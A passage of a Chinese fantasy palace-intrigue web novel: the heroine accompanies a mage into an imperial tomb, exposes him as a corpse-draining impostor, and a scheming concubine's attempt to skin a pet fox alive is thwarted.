莫非这人真的不是宫里藏匿着的鬼面?
这时白硕缓缓开口,声色略哑。
“听闻,九王妃也懂玄门道术?”
江清婉敛眸回道,“懂些皮毛。”
“不止吧。”白硕淡淡勾起唇角,面具下的眼神看不出情绪波动,如死水一般冰冷诡异。
“你能让护山大阵恢复如初,怎会是只懂些皮毛?”
江清婉顿生狐疑。
这人若是高手,岂会不知护山大阵是活阵。
她不动声色的解释着,“在您面前不敢班门弄斧,当时满腔豪言的请旨去玄灵山,全是为了寻找王爷,许是老天爷不忍心看我死,那护山大阵的阵法布置,我恰好在一本古书上看到过,修复起来还算顺利,只是不知皇陵内的九龙阵是何布局,法师可愿跟我讲讲?”
白硕盯着江清婉看了好一会儿,似乎在确定她的话是真是假。
片刻后冷冷开口。
“不愿。”
说完直接闭上了双眼。
江清婉感觉到他的嫌弃,也没再说话,靠着车厢休息,随着颠簸很快开始昏昏欲睡。
恍惚中,竟看到了一座熟悉的山脉。
灵气缭绕,云雾盘旋。
一只火红的狐狸在山顶对着皎白的月光扬起漂亮的脖颈。
有人影缓缓从它身后走来。
腰间挂着打呼噜的老者,背着药篓的儒雅郎君,翩若惊鸿青衣剑客,脚踏飞鸢疾驰而过的洒然少年,笑声荡漾在山谷。
自由,幸福!
江清婉红了眼眶。
那是祁连山,是她长大的家。
那些人,是她的师父和师兄们。
她激动的想要伸手触碰。
模糊的人影随着她的靠近,也逐渐变得清晰。
她忽然闻到了幻夜草的香味,脚步骤然停下。
前方的人影还在,已经能看到模糊的五官。
江清婉却猛地闭上双眼,心中迅速默念静心咒,很快身体再次感觉到马车急速行进的颠簸。
她缓缓睁开双眼。
对面的白硕依旧在闭目养神,车内也没有任何香炉。
而他身上也没有佩戴任何荷包。
若不是外物的作用,幻夜草又是怎么入了她的身体,企图读取她的记忆。
此刻她已经确定,白硕绝不是宫里那个鬼面人。
配合幻夜草读取她记忆的灵力,很纯净。
毫无阴邪之气。
她没敢再闭眼,索性盘腿坐好运行周天。
她有种预感,皇陵之行,绝不顺利。
……
夏世辉刚下值回府,就看到一脸淤青痕迹的夏宇急匆匆地迎了上来,二话不说拽着他就去了书房。
神秘兮兮的将门一关,这才开口。
“父亲,苏家祠堂就是郭浩烧的,他是为了帮江清婉打掩护,二人里应外合,偷了苏府的宝贝,此事我亲眼所见。”
“那日我之所以想不起来,是因为在苏府的后巷里,我将二人堵住的时候,江清婉给我下了咒。那女人真的是个妖妇,她竟然能用符纸让我失去了记忆,今日她跟郭浩那厮将我掳去严刑逼问,我才意外恢复……”
夏世辉急声打断,“你都说了什么?”
“我说……说了……”
见他眼神闪烁,夏世辉的脸瞬间沉了下来。
“你到底说了什么?”
夏宇见瞒不住,赶忙辩解。
“父亲,我说了什么不重要,现在我们应该去见苏王爷,把这件事情告诉他,让他老人家挑了威远候府,将江清婉那女人抓起来审问,说不定能套出九王府的秘密,一举歼灭。”
“啪!”
夏世辉忍无可忍的一巴掌呼在了他的头上。
“你给我老实交代,你有没有跟他们提苏王爷?”
夏宇并没有意识到问题的严重性,梗着脖子道,“我要是不提出来震慑他们,您就见不到我了。”
夏世辉的脸色难看至极。
“你这个蠢货!”
他来回踱着步子,又不确定的问了句。
“你刚刚说郭浩和江氏联合盗窃的事,没有参假?”
夏宇立刻摇头。
“当然没有,那天还有几个护院也中了招。您要是不信,去找个天师回来,给他们治好一问便知。”
夏世辉眸色一凝。
“我现在就去一趟苏府,这几日你就留在府中养伤,暂时别回太学院了。”
夏宇一听急了。
“不行,马上要会考了,这次会考关乎首院选人参加大比武的名单,机会难得,若到时我能大放异彩,入了皇家的眼,必然前途无量。”
夏世辉却没有理他,开门叫来管家。
“看好少爷,没有我的允许,不许他出府。”
……
风雅筑内,
为了捉住红狐狸拿赏钱,几个小厮买了只活公鸡,割断脖子挂在院子里任由它滴答滴答的流血。
在王府内外窜了一圈的红狐狸正饿的肚子咕咕叫,
闻到了鸡血的味道,很快就落在了庭院内。
垫着脚往前凑了凑,
正想一口咬下,等待多时的几个小厮猛地扯着一张网扑了过去,将它牢牢困在其中。
“小畜生,看你往哪里跑。”
几个小厮分工明确,用网将红狐狸给吊在了半空,支着几根粗棍子抬着去了前厅。
云筱然刚喝下药,听说红狐狸抓到了,登时来了兴致。
“将软塌抬到门口,我要亲眼看着这小畜生被扒皮抽筋。”
第156章 活剥
这时李嬷嬷带着一个粗壮的汉子走了进来。
此人正是死去的张嬷嬷的儿子王铁柱。
四方脸,短打装,长得又土又丑。
走路时黑粗的手指常常不自主地摸着裤子的边缘,这个动作是嗜赌如命之人才会有的。
他一进院子就看见了被网住的红狐狸,眼中顿时露出贪婪之色。
“好漂亮的皮毛。”
李嬷嬷狠狠瞪了他一眼,“放肆!县主还未问话,做下人的岂能随意张嘴,没规矩!”
王铁柱赶紧跪在地上解释。
“小人有个猎户朋友,我与他曾一起捕过狐狸剥皮售卖赚个酒钱,却从没见过这么漂亮的,一时情急,求县主大人赎罪。”
小红一听这话,气的呲牙冲着他一阵嘶吼,奈何那网又韧又结实,它根本挣脱不开。
因为生气,毛炸的更显蓬松漂亮。
云筱然瞥了王铁柱一眼。
“你会杀狐狸?”
王铁柱大着胆子太了下头,一眼就看出她脸上的抓痕是狐狸造成的。
心下了然,眼珠子一转,立刻讨好道,
“回县主大人,我是跟猎户学的剥皮的手法,这里面门道很多,要想得到一块上好的皮毛,最好的方式就是活剥,将这小畜生的四肢绑住,头悬上绳子,动弹不得,这样剥下来的皮毛,又鲜亮又不会皱。”
他说的血腥,云筱然却听的津津有味,双眼从上到下的打量着他,眼底透着算计。
“李嬷嬷,给他刀。”
王铁柱撸起袖子,在丫鬟去拿刀的空档招呼着几个小厮一人抓一只狐狸腿固定。
而自己则熟练的打着绳结,准备去套狐狸的头。
“都松着点力道,要是掰断了骨头容易刺破了皮,卖相可就不好看了。”
小厮没他有经验,又恼恨他抢了风头。
心不齐,力道有的紧有的松。
等王铁柱拿着绳结靠过去的时候,小红一个猛蹿,直接挣脱了禁锢,一爪子狠狠挠在王铁柱的脸上。
力道之大,直接抓下了好几条肉。
王铁柱惨叫一声破口大骂。
“该死的骚狐狸,看老子不弄死你。”
他拔腿就追,常跑山的速度不可谓不快,可红狐狸的速度更快。
那爪子跟利剑一般,将那几个哄骗他的小厮挨个抓了个遍,不仅没让人摸到狐狸毛,还戏耍的众人栽了好几个跟头。
最后它飞跃到屋脊上看着满院子东倒西歪的人,歪着头咧着嘴笑。
一双狐狸眼忽然又瞥见了云筱然腰间的荷包,顿时如发现了什么绝世美食一般,嗷的一声飞扑过去。
云筱然吓得立刻捂脸,惨叫着大喊。
“杀了它,快给我杀了它。”
小红的嘴都快咬上了荷包,忽然又顿了顿,鼻子往上凑了凑嫌弃的打了个喷嚏,一腚蹲在云筱然的脸上借力一蹬,再次飞窜出去。
这时风雅筑的院门打开。
宋玉书带着玉英玉桃走了进来。
看到这场景也是吓了一跳。
恰好红狐狸往这边扑来,玉英立刻挡在前面,飞起一脚就想将其踹开。
小红躲不及,勉强转了方向,落地的时候速度减慢,被追上来王铁柱直接用绳子套住了脖子猛地一拉,将它给提了起来。
饶是它动作再灵活,此刻也毫无办法,只能拼命扭动着身体嘶吼着挣扎。
“小畜生,敢抓爷爷,看我怎么活剥了你。”
云筱然嘴里全是狐狸的毛骚味,气的怒喝,
“给你剁了它,现在就给我剁了它。”
王铁柱有点舍不得。
这身皮毛,绝对能值百两。
他立刻劝道,“县主大人,直接剁了便宜这畜生了,我有法子让它生不如死,活活疼上几个时辰才咽气。”
宋玉书不由皱眉。
“只是一只小狐狸,何至于如此残忍。”
云筱然冷道,
“舅母,这里是我的风雅筑,这孽畜在我的地方弄伤了我的脸,我就算将它五马分尸也不为过吧。难道在王府,我连这点小小的权利都没有了吗?太后祖母许我入府的时候,可不是这般说的。”
又是拿太后施压。
宋玉书听得心烦,对红狐狸虽有不忍,可看云筱然脸上的确有数道抓痕,一时间也不好强硬。
见她不语,云筱然眼底闪过得意。
墨云寒不在,郑擎也不在。
偌大的王府,谁的靠山大,谁说了才算。
前几日受得气,她定要好好算一算。
她抬眸看向王铁柱。
“你不是说有法子吗?那就开始吧,先割了它的舌头再动手,我可不愿意听见那么吵的叫声。”
丫鬟端着个盘子走过来,上面放着好几把寒光淋漓的刀。
王铁柱心中盘算这怎么能昧下这狐狸皮,手上动作却没停,选了把刀朝着小红的狐狸嘴削去。
他力气很大。
就算小红咬紧牙关,也难抵挡。
宋玉书正想抬手制止,一支短箭飞刺而来,狠狠扎在那柄菜刀上。
砰的一声,力道极大,王铁柱根本握不住刀柄,直接脱手而出。
青穗迅速冲了过来抢过小红摘掉了它脖子上的绳子抱在怀里。
小红嗅到她身上江清婉的气息,委屈巴巴的往她怀里拱。
云筱然脸色铁青。
“你们一个个的都当我这里是什么地方?随随便便进出,随随便便就抢东西,就算我是个姨娘,也是太后娘娘赐婚的姨娘,岂容你一个丫鬟放肆。”
“来人,给我掌嘴!”
李嬷嬷尝过青穗的手段,犹豫着不敢上前,索性拽了个丫鬟推了出去。
青穗抱着红狐狸冷冷道,“苏姨娘,这狐狸是我家王妃的宠物,你们杀不得。”
“什么?”
云筱然立刻从软榻上起身,却扯疼了伤口,呲牙咧嘴的五官变得异常狰狞。
“你是说这畜生是江清婉养的?”
“好啊,她活活吸干了我的丫鬟,现如今又纵容一个畜生欺辱我到这般地步。我可是太后娘娘亲赐入府的,如此这般,她将太后娘娘的威仪放在何处?李嬷嬷,找轿夫,抬我入宫,今日之事,我绝不会就轻易算了。”
宋玉书过来就是听说墨云寒让人打了云筱然十板子,想着安抚两句,以免再闹到太后面前,再横生事端。
闻言立刻上前规劝。
“干尸一事,尚未又定论。太后遇袭本就心神难宁,为了一只不通人性的小狐狸,没必要入宫兹扰。许是它不小心闯进你院子里又被你们抓住这才会反击。”
云筱然冷哼。
“若我偏要杀了它呢?舅母是拦我还是帮我?”
宋玉书本也不是个能强压性子的人。
自从知晓云筱然干的那些事,就更难伪装。
此刻没了耐心,态度也冷了下来。
“玉桃,将伤药和补品留下,让苏姨娘好好养伤。”
说完转身走了。
摆明了不参合,爱如何便如何。
云筱然愣住。
完全没料到宋玉书连太后的面子都不给,竟然敢撒手不管。
青穗摸了摸小红的脑袋。
“今日你们伤了它,就当是赔了它擅闯风雅筑的罪责,我不会跟我家王妃告状。”
说完转身也走了。
自始至终,都没有把云筱然放在眼里。
云筱然气的整个人都快炸了。
第157章 没有心跳
苏府,佛心堂。
夏世辉躬身立在书房内,将从夏宇口中得到的消息说了一遍。
“王爷,小儿满身是伤,的确是被人掳劫,至于他说的失忆一事,下官对此事了解甚少,不敢猜测,若您要验证,我让小儿配合。”
苏巍川正在看桌案上一副地图,有一处地方做了特殊的标注,用红笔圈出了清风寨三个字。
闻言抬头。
“如今看来,这位未来的九王妃,的确懂得不少东西。干尸一案,皇上既无表决,我们这些做臣子的,自然不能忤逆圣心。”
夏世辉有些猜不准。
“王爷,威远候府怕是会上奏参您,皇上若是问责……”
苏巍川轻笑了一声。
“你太不了解郭侯爷了,他啊,刀斧不砍在脑袋上是断然不会做任何反应的。至于皇上……大隋余孽的事不还没结束吗?真相自会明了,下去吧,无事不必再来王府。”
夏世辉的心里七上八下的。
他做言官多年,却一直无晋升机会。
本以为这次能攀上苏巍川往上升一升。
可眼下,却实在没底。
他正心焦。
苏巍川忽地淡淡开口。
“户部侍郎已递交了归乡的辞表,户部右侍郎萧平背靠陆家,受老太师的恩泽,若无意外,应会上任。”
夏世辉心中一紧。
“若是有意外呢?”
苏巍川眸光扫向他,似笑非笑,抬手指了指桌角放着的一个木盒子。
“送你的,拿去吧。”
夏世辉的心狂跳起来,眼中兴奋难掩。
他知道,苏巍川这棵大树,他是攀上了,随即俯身跪地叩拜行礼。
“下官谢王爷赏。”
说完拿走盒子躬身退了出去。
等离开了苏家上了马车,他才打开。
盒子里装着一块红色的玉,雕刻成了金鱼的样子,看材质更像是琥珀石,迎着光能看到流动的丝线。
品相极为不错。
金鱼下面还压着一页纸。
纸上写着五个字:陆府,金琉璃。
……
从京城一路疾驰到玄灵山,燕云青的行军速度极快,比上次江清婉骑马过来快了将近一半的时辰。
马车停在护灵卫营区内,江清婉再也忍不住,冲下马车跑到一边扶着根柱子哇哇吐了半天。
燕云青将马缰交给下属,冷嗤一声,“来人,给王妃端盆水清洗,休整半炷香的时间,即刻入皇陵。”
半炷香根本缓不过来。
江清婉感觉身上的骨头都快散了架。
她根本没力气走,蹲在地上很不爽地拨弄石子。
一截蓝色长袍映入眼帘。
白硕的声音冷冰冰的在她头顶响起,依旧带着沙哑。
“你是我见过修行者之中,体质最差的一人。”
江清婉越发不爽。
她体质差是因为幼时受过重伤,死里逃生。
师父说她是万中无一的天才。
一个连护山大阵是活阵都看不出来人,还评价上她了。
她扶着腰站起来,仰着脖子瞪了过去。
“体质差不代表资质差,而且我只是随行监察,修复九龙阵的是你不是我。”
两个人距离很近。
江清婉的身高刚刚够到他的肩膀。
她忽然发现,竟感觉不到白硕身上的热气。
这人,就和他的眼神一样,冰冷的不像个活物。
她忽然生出一个大胆的念头。
抬手朝着他的胸口摸去。
还没碰到,就被一柄长剑拦下。
燕云青居高临下的冷冷睨着她。
“九王妃,众目睽睽之下,还请自重。”
周围士兵齐齐看了过来。
京中关于江清婉的传闻众多。
可无论是个浪荡的下堂妇,还是能蛊惑人心的妖妇。
都有一个共同点。
那就是身娇腰软,风情万种,是个美人坯子。
可传闻终究只是传闻,如今被扣上了未来九王妃的名分,谁也不敢多加揣测觊觎。
然而刚刚这一举动,却引得众士兵频频侧目。
有几个糙汉子已经吆喝起来。
姝色王妃当街调戏冷情法师,这可比艳色话本好看的多。
江清婉却置若罔闻,抬头盯着白硕的那双眼睛,忽地又往前凑近了一步。
“白硕法师,你……”
燕云青像根柱子一样挡在了前面,本就黑的一张脸更显阴沉。
“九王妃,你好歹给九王爷留点颜面!”
江清婉本想凑近感受一下对方的呼吸,眼见不成了,便也没再行动,往后退了两步。
“不是着急要进皇陵吧,那就别耽搁了。”
她总能找到机会试一试。
一行人从护灵卫内前去皇陵。
张衡水亲自带队护送,一双眼睛不停地往江清婉身上瞟。
他是随着车队一起返回的玄灵山。
这一路上可没少往马车上瞧。
他被闷在护灵卫中多年,看见个母猪都觉得俏丽,更别说是江清婉。
只是这次回京一直被安置在御林军军衙中,根本没机会见美人,此刻早就心馋。
再加上刚刚江清婉的所为,让他认定对方是个浪荡女子。
心里越发蠢蠢欲动。
燕云青似是怕江清婉真的会对白硕不轨,愣是插在二人中间,脚步走的也极快,不多时就拉开了距离。
张衡水顺势凑了过来。
“这山路不平,下官扶着王妃可好?”
他抬起袖子,笑的一脸谄媚。
江清婉瞥了他一眼。
见他额头上那油腻腻的粉红气息都快溢出来了,典型的色鬼,她正想躲开,忽地想到什么,抬手搭了上去。
“多谢大人。”
张衡水觉得自个的骨头都要酥了。
恨不得现在就握住那只搭在他袖子上的白嫩小手,把玩一翻。
咽口水的声音大的让燕云青不由回了下头。
江清婉挑眉看向他。
“燕统领也想扶我?”
燕云青迅速转了回去,只冷硬的说了一声。
“太上皇有令,要保九王妃完好无损的回去。”
听了这话,张衡水后背一阵发凉,脑袋上的粉红泡泡瞬间碎了,吓得赶紧低头,正要收回手。
却感觉到手臂上那只小手正在勾引般滑动着。
那感觉简直要把他的魂都要吸了去。
他哪还舍得收回,这下连呼吸都变得急促起来,又粗又重。
前面的燕云青忍无可忍。
“张大人,近前带路。”
张衡水猛地回神,表情都是呆滞的。
江清婉收回小手,似有惋惜般轻叹道,“那我就不劳烦张大人了。”
张衡水虽舍不得,却不敢不听燕云青的话。
赶紧小跑上前。
因路并不宽敞,再加上他体型肥硕,经过白硕时,手臂几乎是擦着白硕的身体过去的。
江清婉凝神细听,眉心瞬间皱了起来。
白硕真的没有心跳。
他绝不是人!
第158章 危机
皇陵入口很快到了。
江清婉以为所有人都会跟进去,没想到连燕云青都不跟。
只有她跟白硕两个人入内,这让她刚刚在张衡水身上画符箓借机试探的事,显得有些多余。
她抬手指了指白硕问,“燕统领,万一他在皇陵内把我杀了你怎么护?”
燕云青淡淡道,“白硕法师不会杀人。”
江清婉无语,“你就不怕我在里面把他扑倒?”
这个倒是极有可能。
燕云青的脸色变得很臭。
“九王妃,您还记得自己是九王妃吗?”
“当然。”
江清婉面不改色,“所以你进吗?”
燕云青死死攥着长剑,实在想不明白,为何太上皇要让这女人跟来。
论修为道行,白硕法师一人足矣。
他咬着后槽牙解释,“我非皇室中人,未得宣召不能入内。”
江清婉也不再催,漂亮的眼眸看向白硕,笑盈盈做了个请的动作。
“法师先行。”
这怎么看怎么有种羊入虎口的错觉。
待江清婉跟随进去,燕云青忽地拱手行礼。
“九王妃,可要下官随行?”
江清婉已经站在皇陵内,闻言瞥了他一眼。
“燕统领要进谁还拦的住吗?”
说完再次看向白硕。
“皇陵内昏暗,我实在害怕,可否牵着你的衣袖?”
燕云青死死绷着脸拱手的动作幅度又大了几分,再次高声问询。
“九王妃,可要下官随行保护?”
江清婉在心里翻了个白眼。
“你带十名侍卫入内保护,其余人候在外面。”
燕云青磨了磨牙。
“是。”
皇陵内其实并不是目不能视。
四周点着长明灯,虽不如外面明亮,却也比得上夜晚的月色。
白硕自始至终没有说话,脚步熟练的往里走。
在他入内之后,就从袖袍里拿出了那个带着机关锁的匣子。
有了燕云青在,
江清婉略松了口气,这才有心思感受皇陵内窜流的灵气。
无论是外面的护山大阵,还是此刻的皇陵,灵气都比其他地方丰裕。
但不知道为何,这皇陵内的灵气却有些杂乱。
仿佛是被什么东西特意困住的,而并非靠着风水龙穴吸收天地灵气所得。
七拐八拐地走了好一会儿,避开了主墓正殿,绕过了几个偏侍侧墓,再往里,四周石壁插着的长明灯更多了。
灵气也不似外面那般杂乱,透着一股很冷的气息,似有龙吟低鸣。
江清婉下意识搓了搓手臂从燕云青的后方探出头来。
前方的白硕也在这时停了下来。
她一个没注意,脑袋直接撞在了燕云青的后背。
这位号称大周第一高手的燕统领几乎瞬间弹起,撤开了数步,眼神极为复杂又愤怒地瞪着她。
仿佛她做了什么大逆不道的举动。
江清婉抬手揉着额头,一脸懵。
“九王妃。”
白硕忽然喊她,将她的目光拉了过去。
她下意识往前走了两步。
也看见了九龙阵的外貌,九龙汇聚,高悬半空,各有不同。
她还没来得及细看,白硕已经指着前方下令,“你处理一下坑内的水银。”
江清婉低头去看。
高悬的九龙之下,有个深坑,深坑内流动着水银,还在缓慢上涨。
若是突破界限,按照地势,便会倒灌整个皇陵。
怪不得皇室会这么着急来修整。
这应是阵法被破之后的陷阱。
她诚恳的摇了摇头。
“我弄不了。”
白硕转头看她,“那你会做什么?”
江清婉指了指他双手捧着的盒子。
“我可以帮你拿着盒子,让你腾出双手施展法术。”
见他不语,她又加了句。
“太上皇的口谕是准我随行,却并未要我插手修补一事,还望法师莫要为难。”
白硕的目光冰冷的看着她,看了好一会儿,竟真的将盒子递了过来。
自始至终,没有任何的情绪波动。
江清婉抬手去接的时候,无意碰到了白硕的指尖。
柔软的触感却毫无温度,却带着一股很强烈的灵力。
纯粹,干净。
江清婉不由皱了皱眉。
白硕递完匣子便往前走去,脚下不停竟在水银坑之上踏空而起,九龙阵内的灵气吹着他的衣袍翩飞,白发扬起,越发像个遗世独立的仙人。
跟进来的士兵皆是第一次看见这场景,全都目露崇拜,竟不受控制的双腿跪在了地上,如参见天神。
燕云青意志极强,只是晃了下神,依旧笔挺地站着。
江清婉仰着头看着白硕结印,随着一道又一道金色的阵法落下,她心里的疑虑却越来越重。
在护灵卫营区内的守阵坛中残留的结印痕迹明明是诸葛门的独有手法,而白硕的结印却并非出自诸葛门。
所以,这护山大阵和九龙阵,并不是白硕所布。
伴随着金色法阵的落下,坑内水银竟在倒流回机关内。
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龙吟声呼啸而来。
似痛苦,似悲鸣。
江清婉心里莫名扯得生疼,灵力汇聚让她有种感同身受的折磨。
她脸色苍白地低下头,深呼吸着想稍作缓解。
手里的匣子却在这时飞离出去,吸入到白硕的身侧。
江清婉的目光追随,忽然发现,灵气风暴中的白硕骤然间像变了一个人。
法阵之中渗出阴戾之气,刚刚结阵稳住的灵力全部反吸。
“不对。”
她急声喊道,“燕云青,阻止他。”
她话还未落地,就被一股强大的气波掀飞,整个人狠狠撞在了石壁上。
没有金光护体,她整个后背传来巨疼,撞击让她的胸口也涌起一股腥甜。
无数符箓在灵气风暴中汇聚,白硕面具之下的眼睛也变得一片赤红,胸口红光耀眼,疯狂吸收着皇陵之内的灵气。
龙吟声更重。
整个九龙阵岌岌可危。
江清婉捂着胸口再次喊道,“所有人,攻击他,快。”
不远处跪着的侍卫,却完全没有反应。
而燕云青单手持剑,只是迅速移动到她身前挡住,并没有行动。
显然不信她。
江清婉心急如焚。
这个白硕根本不是来修复九龙阵的,而是借助阵法和皇陵的灵气修炼邪功。
她虽看不出是什么邪功,可一旦成功,先不说皇陵倒灌,大周气运被吸食殆尽,跟进来的他们都得死。
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第159章 你杀死了白硕
这时,跪在最前面的一个卫兵,忽然间被吸入漩涡。
眨眼的功夫,就成了一具干尸,连反抗的机会都没有。
随着那具干尸被扔在地上,所有人都清醒了过来。
“统领,这是怎么回事啊?难道白硕法师才是把活人吸食成干尸的凶手吗?”
江清婉急声催促。
“燕统领,你还愣着做什么,想办法打断他。”
燕云青虽满心疑惑,却也知,眼下事情有些不对劲。
当即朗声喝道,“白硕法师,你在做什么?”
灵气漩涡中的人,大手一伸,又一个卫兵被吸了进去。
燕云青眸色一沉,长剑瞬间出鞘,飞身去救。
大周第一高手的名头,并不是吹嘘来的。
这一剑劈过去,剑气锋利旋起气流。
两相碰撞,巨大的气波在空档的墓室内震荡。
周围石壁有碎石落下。
若单以武力比拼,白硕并不是燕云青的对手。
可现在天时地利,全都倾向于白硕。
玄门道术压制,燕云青撑不了多久。
江清婉现在能用的灵力实在少之又少,想攻破阵法根本不可能。
稍作思考,她将荷包里所有的空白符纸全都拿了出来,缩在角落用身体挡住气流刮起的风,咬破手指快速画符。
如她所料,燕云青很快被反挡回来,长剑插进地面才勉强维持住身形。
可眨眼的功夫,又有两名卫兵被吸走成了干尸。
这一次来的都是燕云青亲自挑选的好手,跟了他多年。
眼见情况不对,立刻呈半包围状护住燕云青。
“统领,我们挡着,你快走。”
说话间又有一人被吸走。
燕云青气的眼角通红。
“八斤,六和,你们带九王妃离开,让张衡水叫所有护灵卫速速救援皇陵,快!”
八斤和六和齐齐咒骂了一声,却也没有犹豫,立刻转头跑去江清婉身边。
此刻,江清婉已经画完了符箓,脸白的比鬼都吓人。
人只能靠在石壁上,站都站不起来。
八斤二人还以为她是被吓的,都是面露不屑。
六和脾气急,直接伸手拽她。
“真不知道太上皇让这女人来做什么?”
江清婉却扭身避开,冲着不远处的燕云青喊。
“燕统领,你过来。”
八斤急的跺脚。
“你不要命我们还想活,能不能不要拖后腿。”
说着就想把江清婉给扛起来。
江清婉一巴掌拍在了他的脑袋上,力气不大,气势却很足。
“燕云青,你过来!”
说话间又有一人被吸走。
燕云青的脸色已经黑成了锅底,冲过来怒喝道,“都什么时候了你还要闹?看清楚眼下的形势,我没时间管你,不想死立刻走。”
江清婉没理会他的态度,攥着符纸递过去。
“单靠武力,你打不过。想办法把这些扔进风暴漩涡之中,或能破阵。”
这是她如今能想到唯一破局的办法。
虽然她灵力枯竭了,可她的血和旁人的不同。
师父说当年为了救活她,用了不少好东西。
小时候她还学不会用灵力画符的时候,就可以用自己的血混合朱砂刻符,效用极好。
白硕周围的灵阵从外面攻不破,若燕云青能劈开一道缝隙将这些符纸送进去,应该可以扰乱灵阵平衡,进而破阵。
燕云青眼底闪过犹豫。
他并不全然相信江清婉。
江清婉这会儿嘴唇都是白的,额头冒出了细细密密的虚汗,急得瞪他。
“你还愣着干什么,你们都死了,我一样要死,快去。”
干尸再次砸落地面。
燕云青再没说什么一把拽过符箓飞身再次冲去。
江清婉稍稍缓了口气,朝着身侧二人伸出手。
“你们两个,不是要护我离开吗?”
八斤一脸懵。
“你不是说那符能破阵吗?”
江清婉翻了个白眼。
“我说的是或能破阵,机会五五开吧。呆在这里要被吸成干尸,就算死,我也不想死得那么难看。”
刚刚还因为她冷静的给出符纸做出决断而生出一分震撼钦佩的二人,齐齐露出嫌弃表情,却又不能不管,皆是一脸苦命表情。
江清婉却完全无视,抬手催促。
“扶我啊,我腿软。”
八斤和六和恨不得这会儿转回头去冲锋陷阵。
却只能认命的一人伸一个胳膊给江清婉着力。
她刚费力站起,动作忽地顿了一下,迅速转头看向灵气漩涡的方向。
只见那个被机关锁锁着的匣子不知何时被打开。
一道刺眼的光瞬间炸裂。
带着强大的灵气冲击,撕裂开白硕周身的气流,而在这时,燕云青已经逼近,二话不说将符劈头盖脸的拍了进去。
白硕发出一声凄厉的惨叫,无数红色符箓在周身流转。
灵气漩涡碎裂成块,无法支撑,他直直朝着水银池跌去。
燕云青脚下一点,扯掉腰间束带,飞甩出去,缠住了白硕的腰。
本小章还未完,请点击下一页继续阅读后面精彩内容!此人是太后和皇上都极其器重的人,今日发生的一切,他必须带着此人回去面圣交代一切。
可下一刻,束带却嘶啦一声断开,白硕在他眼前直直坠入水银池,被彻底腐化淹没。
所有震动全部消停下来。
八斤和六和没再管江清婉,立刻冲过去查看。
几具干尸证明着刚刚发生的事情,真实存在。
可突然的变故又让所有人都呆愣当场。
一块半截木制碎片从天而降,砸落在江清婉的脚边,带着被烧焦的黑色痕迹。
她俯身捡起凑到鼻尖闻了闻。
“雷劫符?”
这匣子里不是放着皇陵的宝贝吗?
怎么会变成了雷劫符?
谁放的?
皇上?太后?
她随即摇了摇头。
这个白硕是皇上和太后的人,也是他们命他来修复九龙阵,岂会用雷劫符要他性命?
这么说只有一个可能,那个人是太上皇!
她注意到断裂的木头外壳有一个奇怪的痕迹,好像是镶嵌着什么,像半条蛇尾。
她伸着脖子往四周查看,却什么都没有找到。
这时燕云青走了过来,脸色异常凝重。
“白硕死了。”
江清婉哦了一声。
这雷劫符的威力极强,还是当着面打开的,没有被炸的魂飞魄散完全是因为灵气凝聚做了盾牌。
如今人又掉进了水银池中,断无活着的可能。
燕云青接着又道,“是你的符打死的。”
江清婉瞬时瞪大了双眸。
“什么意思?是我救了你们。”
她耗费了好多血,这人转过头来给她定罪。
怎的如此不要脸皮。
燕云青没有否认,而是又重复了刚刚的话。
“你的符打死了法师白硕。”
这一次江清婉听明白了。
敢情是没法跟皇上交代,要拉她当替死鬼。
她指了指不远处的九龙阵。
“阵法中的灵气已经被白硕吸收的差不多了,九龙阵修复不了,你的任务也完不成,要砍头,咱们谁也跑不掉。”
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第160章 最合适的人选
墓室内一片死寂。
燕云青看着地上的干尸,他想起来江清婉对白硕的多番不寻常的举动,心中刀割一般疼。
“你早就知道白硕有问题,为什么不提前告诉我,若我们有所防范,他们就不用死。”
江清婉凉凉开口。
“我说了你会信吗?”
答案显而易见。
燕云青默了好一会儿,忽地转身冲着江清婉一躬到底。
“九龙阵对大周而言关系重大,请王妃全力修复,此间诸事,我会向皇上一一表明,绝不隐瞒半句。”
他态度极好。
可强势弱势之分,却又异常明显。
江清婉被几个男人围着,虽靠的不近,可威压极重。
似乎只要她摇一下头,下一刻就会给她安排一个结局。
江清婉清冽的眸子看着燕云青,诚恳的没有半点犹豫。
“我不会修!”
燕云青的眸色瞬间沉了下去。
江清婉抬手,晃了晃被雷劈的剩半截的木匣子。
“如果有这里面的东西,或许可以试一试。”
燕云青看向她手里的盒子。
以为在耍他,刚要发火,忽又想明白了。
“你是说,盒子里的东西本就不在?”
他自幼就被选做了墨云昭的亲卫,陪着他从皇子成为皇帝。
这宫中的一切,朝堂的纷争,他虽从不多言,可却看的很清楚。
张衡水绝不敢私藏宝物,能碰到那匣子的人,屈指可数。
他死死握着剑柄,一时间不知该如何是好。
江清婉将那半截盒子塞入袖中,拍了拍小手道,“白硕法师也不算什么好事都没做,至少修补了一半,不会让水银池倒灌进皇陵,毁掉一切。现在我们什么也做不了,打道回府吧。”
她说完率先往外走。
六和和八斤凑到燕云青身边。
“统领,怎么办?”
他们心里都清楚,出了这么大事,必须有人承担责任。
江清婉是最合适的人选。
而且,太后被袭,九王府搜出干尸,皇上杖责九王三十鞭,所有释放出的信号,他们这些常年在宫中值岗的人,心里都门清。
坐实一切罪名,既顺了皇上的意,还救了眼下的火,百利而无一害。
燕云青抿着唇,晦暗不明的眸子看着前方纤瘦的背影。
沉默良久轻轻摇了摇头。
他心里莫名生出一个念头。
这位看上去娇弱无比,又行为浪荡的九王妃,比那位宛若天神的白硕法师,还要厉害。
他回头看了眼九龙阵。
虽他是肉眼凡胎,却也能看出,九条龙,都像是沉寂了一般,再无之前的威压之气。
甚至有一条龙的龙尾处,已经出现了明显的纹裂。
顿了稍许,他朗声道,“回京。”
所有人都没有注意到,
在其中一只龙角后面的阴影里,缩着一只奄奄一息的黑乌鸦。
身体几乎与黑暗融为一体,只有腹部散发着极其微弱的红光,却又被周围石壁上的长明灯的灯光遮挡,从地面朝上看,根本看不出来。
江清婉回京后随着燕云青去了皇宫,呈明了墓穴中发生的一切。
隐藏了雷劫符,和自己对白硕非人的猜想。
至于她的符杀了白硕这件事,她咬死不认。
只说白硕想利用九龙阵中的灵气修炼邪功,她的符恰好打乱了他的节奏,让他遭遇反噬经脉爆裂而亡。
这个说辞,就算是燕云青亲身经历了全部过程,也无法反驳半句。
再加上不少人看到了白硕吸食活人成干尸的事实,她妖妇的罪名消除,又戴着龙牌,墨云昭拿她没法子,只能让她回府。
等她走了,墨云昭看向燕云青。
“白硕真的死了?”
燕云青拱手回答,“死了,臣亲眼看着他掉进了水银池中,断无活着的机会!”
墨云昭的脸色难看至极,后背死死绷着,顿了许久才又问,“真的不是江氏所杀?”
